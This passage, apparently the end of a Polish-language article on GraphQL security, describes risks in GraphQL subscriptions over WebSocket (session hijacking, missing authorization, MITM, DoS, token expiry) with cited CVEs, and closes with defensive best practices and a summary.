Błędy w uwierzytelnianiu i autoryzacji
Brak prawidłowego uwierzytelnienia – jeśli połączenie WebSocket nie weryfikuje tożsamości (np. brak JWT, tylko cookies), sesja może zostać przejęta. Atakujący może otworzyć WebSocket w kontekście zalogowanego użytkownika i wysyłać zapytania GraphQL lub subskrypcje, otrzymując w odpowiedzi poufne dane. Ten dwukierunkowy hijack (Cross-Site WebSocket Hijacking) jest groźniejszy od klasycznego CSRF, ponieważ pozwala również odczytywać odpowiedzi.
Brak lub błędna autoryzacja – samo uwierzytelnienie nie wystarczy. Serwer musi wymuszać kontrole dostępu dla każdego eventu subskrypcji. W przeszłości błędy w Directus ujawniały nieautoryzowanym użytkownikom aktualizacje w czasie rzeczywistym (CVE-2023-38503). W niektórych błędnych konfiguracjach użytkownicy niezalogowani otrzymywali pełen dostęp do GraphQL przez WebSocket.
Nawet jeśli uwierzytelnienie początkowe jest wykonane, należy wziąć pod uwagę czas życia sesji oraz jej unieważnianie. Jeśli uprawnienia użytkownika ulegną zmianie lub sesja zostanie cofnięta, czy subskrypcja GraphQL zostanie rozłączona lub zaktualizowana zgodnie z nowymi restrykcjami? W części implementacji po uwierzytelnieniu WebSocket serwer nie sprawdza już uprawnień przy każdym evencie. Może to stworzyć lukę, w której użytkownik wciąż otrzymuje dane mimo cofnięcia jego uprawnień.
Niedawny raport bug bounty dotyczący subskrypcji GraphQL w Shopify ujawnił właśnie taki problem: po usunięciu roli użytkownika jego połączenie WebSocket nadal działało przez krótki czas, pozwalając na wykonywanie operacji GraphQL w tym oknie czasowym.
Manipulacja wiadomościami i ataki injection
Ponieważ WebSockety umożliwiają ciągłą komunikację, ich wiadomości oraz zawartość stają się celem ataków. Manipulacja wiadomościami polega na modyfikacji danych przesyłanych między klientem, a serwerem. W poprawnie zabezpieczonym środowisku używającym wss:// (WebSockets przez TLS) ruch jest szyfrowany tak jak HTTPS, co zapobiega podsłuchowi lub modyfikacji przez atakującego w sieci.
Jeśli jednak połączenie nie jest szyfrowane (ws://) lub klient nie weryfikuje certyfikatu serwera, atakujący może przeprowadzić atak Man-in-The-Middle, aby przechwycić lub wstrzyknąć wiadomości.
Dobrym przykładem była podatność w kliencie Altair GraphQL (CVE-2024-54147), gdzie aplikacja desktopowa nie weryfikowała certyfikatów HTTPS dla połączeń WebSocket, co umożliwiało atakującemu MITM odczyt i modyfikację wszystkich zapytań oraz odpowiedzi GraphQL, włącznie z subskrypcjami.
Poza bezpieczeństwem transportowym, należy pamiętać o atakach injection na poziomie aplikacji. Wiadomości subskrypcji GraphQL to zazwyczaj payloady JSON, które serwer parsuje i wykonuje. Jeśli programiści generują te payloady w sposób niebezpieczny lub serwer nie waliduje ich dokładnie, atakujący może stworzyć dane wejściowe umożliwiające exploitację systemu.
Przykładowo, jeśli dane kontrolowane przez użytkownika są wbudowywane w string zapytania subskrypcji po stronie serwera, może dojść do ataku injection. W większości przypadków to klient wysyła pełne zapytanie, więc rzadko jest to klasyczny injection, ale nadal możliwe jest wysłanie nieoczekiwanych zapytań. Atakujący może próbować modyfikować zapytania subskrypcji lub zmienne, aby eskalować uprawnienia lub wyciągnąć dodatkowe dane.
Denial-of-Service (DoS) poprzez połączenia trwałe (persistent)
Długotrwały charakter połączeń WebSocket wprowadza unikalne ryzyko DoS. W przeciwieństwie do bezstanowego HTTP, jeden klient może utrzymywać zasoby serwera zajęte przez długi czas. Połączenia trwałe (ang. persistent) zużywają pamięć i deskryptory plików – atakujący może otworzyć dużą liczbę połączeń WebSocket, aby wyczerpać zasoby serwera. Jeśli implementacja subskrypcji GraphQL nie ogranicza liczby jednoczesnych połączeń na klienta lub nie ma timeoutów bezczynności, jest podatna na tego typu ataki.
Złośliwy użytkownik może również subskrybować kosztowne operacje – na przykład subskrypcję, która przy każdej aktualizacji wykonuje ciężkie zapytanie do bazy. Może to być nadużywane przez otwarcie wielu takich subskrypcji lub generowanie częstych eventów. Jest to analogiczne do wielokrotnego wysyłania kosztownych zapytań GraphQL, ale w modelu push – po subskrypcji serwer pracuje cały czas.
Wiemy już, że nieprawidłowo sformatowane wiadomości mogą powodować DoS (np. CVE w Mercurius). Inną metodą jest zalewanie serwera dużą liczbą poprawnych wiadomości subskrypcyjnych. WebSockety umożliwiają szybki exchange bez narzutu HTTP request/response, co przy braku ograniczeń ilości zapytań ułatwia przeciążenie backendu.
Przykładowo, jeśli atakujący ominie ograniczenia po stronie klienta, może wysłać lawinę start requestów inicjujących wiele subskrypcji lub bardzo duże zapytania subskrypcyjne obciążające CPU podczas parsowania i wykonania.
W GraphQL API GitLaba znana była podatność (CVE-2023-0921), gdzie wyjątkowo duże zapytanie (w tym przypadku gigantyczny opis issue) powodowało skok zużycia CPU przy powtarzających się requestach. Przy użyciu WebSocketów atakujący mógłby wykorzystać jedno połączenie do wielokrotnego wysyłania takich kosztownych zapytań, omijając część zabezpieczeń warstwy sieciowej.
Problemy z odświeżaniem tokenów i unieważnianiem sesji
Obsługa długotrwałych sesji wiąże się z problemami zmieniającego się stanu uwierzytelnienia. Jednym z wyzwań w subskrypcjach WebSocket jest wygaśnięcie tokena. Jeśli JWT lub token auth używany przy połączeniu wygaśnie podczas trwania połączenia, a nie ma mechanizmu odświeżania lub ponownego uwierzytelniania, serwer może nieświadomie kontynuować obsługę wygasłej lub cofniętej sesji.
Z perspektywy atakującego, jeśli przejmie token, może utrzymywać połączenie w nieskończoność, zachowując dostęp nawet po wygaśnięciu tokena.
Z drugiej strony, jeśli użytkownik się wyloguje, ale aplikacja nie zamknie aktywnego WebSocketa, atakujący, który przejął połączenie (lub sam użytkownik, jeśli działa złośliwie), nadal może otrzymywać dane.
Niektóre implementacje GraphQL rozwiązują to, aktywnie zamykając lub rewalidując połączenia. Przykładowo, real-time GraphQL API w Directus zamyka WebSocket komunikatem Forbidden po wygaśnięciu tokena, zmuszając klienta do ponownego uwierzytelnienia. To dobra praktyka – subskrypcja nie powinna żyć dłużej niż autoryzowana sesja.
Inny scenariusz to unieważnienie sesji – np. administrator cofa dostęp lub zmienia hasło użytkownika. W stateless HTTP kolejne zapytanie zakończy się odmową. W WebSocket, jeśli serwer nie posiada mechanizmu push do zamknięcia lub degradacji sesji, użytkownik (lub atakujący) może dalej otrzymywać aktualizacje.
Tak było w przypadku podatności w Shopify: po odebraniu roli użytkownikowi jego połączenie WebSocket nadal działało wystarczająco długo, aby wykonać nieautoryzowane operacje.
W czasie pentestu warto sprawdzić, co się dzieje, gdy połączenie WebSocket pozostaje otwarte w momencie dezaktywacji konta lub zmiany roli – czy serwer natychmiast rozłącza, czy nadal wysyła wiadomości.
Bezpieczne subskrypcje GraphQL – najlepsze praktyki
Zabezpieczenie endpointów GraphQL-over-WebSocket wymaga połączenia tradycyjnych praktyk bezpieczeństwa w obszarze API oraz zabiegów odnoszących się do WebSocketów. Poniżej omówiono wybrane, najlepsze praktyki, o kótrych warto pamiętać:
Wymuszaj uwierzytelnienie przy połączeniu
Nie dopuszczaj nieautoryzowanych klientów do subskrypcji, chyba że jest to absolutnie konieczne. Wykorzystuj connection_init do wymagania tokenów i ich walidacji przed zaakceptowaniem połączenia. Nie polegaj wyłącznie na cookies – jeśli już, traktuj upgrade jako request zmieniający stan i zastosuj CSRF protection lub weryfikuj nagłówek Origin.
Wdrażaj silne kontrole autoryzacji
Każdy resolver subskrypcji powinien sprawdzać uprawnienia użytkownika. Subskrypcje często publikują eventy do klientów – upewnij się, że użytkownik ma prawo widzieć dany event.
Używaj WSS
WebSockety zawsze powinny działać przez TLS (wss://). Gwarantuje to szyfrowanie i integralność danych subskrypcji. Klient musi weryfikować certyfikat serwera, aby uniknąć MITM (jak w przypadku Altair). WSS uniemożliwia podsłuch lub modyfikację wiadomości przez atakujących.
Waliduj i ograniczaj wiadomości
Wprowadź ścisłą walidację schematu zapytań subskrypcji – taką samą jak dla zapytań HTTP GraphQL, w tym limity głębokości (ang. depth limiting), złożoności oraz sanitizację wejścia. Ustaw maksymalny rozmiar wiadomości, aby zapobiec atakom typu JSON parsing lub memory exhaustion.
Stosuj limity i kontroluj częstotliwość zdarzeń
Zaimplementuj rate limiting dla zapytań przychodzących i wychodzących. Dla wejścia – ogranicz częstotliwość prób ponownego połączenia (ang. reconnect) i requestów subskrypcyjnych. Dla wyjścia – jeśli klient subskrybuje popularny event (np. czat), rozważ batching lub odrzucanie pakietów, jeśli klient nie nadąża.
Zarządzaj cyklem życia połączenia
Zaimplementuj keep-alive, timeouty, kontrolę wygaśnięcia tokenów i logoutów. Token JWT może być powiązany z maksymalnym czasem życia WebSocket. Wiele systemów zamyka połączenie po wygaśnięciu tokena, zmuszając klienta do ponownego uwierzytelnienia.
Zabezpiecz handshake
Podczas WebSocket handshake weryfikuj nagłówek Origin i akceptuj tylko zaufane źródła (aby przeciwdziałąć CSWSH). Wymagaj odpowiedniego subprotocol – np. “graphql-ws” – odrzucaj połączenia bez niego. Waliduj dodatkowe nagłówki (np. Sec-WebSocket-Protocol). Postępuj podobnie jak przy OAuth lub sprwdzaniu kluczy API – nic nie powinno brzejść jeżeli zapytanie jest nieautoryzowane.
Monitoruj i loguj
Rejestruj zdarzenia start/stop subskrypcji, próby uwierzytelnienia i nietypowe wzorce wiadomości, aby wykrywać ataki. Wielokrotne nieudane próby connection_init mogą wskazywać brute force tokenów lub używanie wygasłych danych.
Podsumowanie
GraphQL wprowadza unikalne ryzyka bezpieczeństwa. W tym artykule omówiliśmy najczęstsze podatności – od ujawnienia schematu przez introspekcję, batching i alias-based DoS/brute-force, błędy autoryzacji, ataki typu injection (SQLi, NoSQLi, SSRF, RCE), podatności CSRF, aż po ataki na subskrypcje WebSocket.
Kluczowe wnioski:
- GraphQL domyślnie nie wymusza autoryzacji – każdy resolver musi być zabezpieczony indywidualnie.
- Introspekcja ujawnia cały schemat API – należy ją wyłączyć w produkcji.
- Aliasing i array batching mogą omijać rate limiting oraz zabezpieczenia 2FA.
- Błędna obsługa inputu prowadzi do klasycznych ataków (SQLi, NoSQLi, SSRF, RCE).
- CSRF jest możliwe, jeśli serwer akceptuje GET lub non-JSON content types.
- Subskrypcje WebSocket zwiększają powierzchnię ataku, wprowadzając zagrożenia związane z uwierzytelnieniem, autoryzacją, przejęciem sesji i DoS przez połączenia trwałe.
Ostatecznie bezpieczeństwo GraphQL zależy od poprawnej implementacji resolverów, rygorystycznej walidacji wejścia, silnego enforcementu access control oraz bezpiecznej obsługi subskrypcji.
Z perspektywy security, GraphQL to nie tylko inny sposób projektowania API – to także poszerzona i złożona powierzchnia ataku.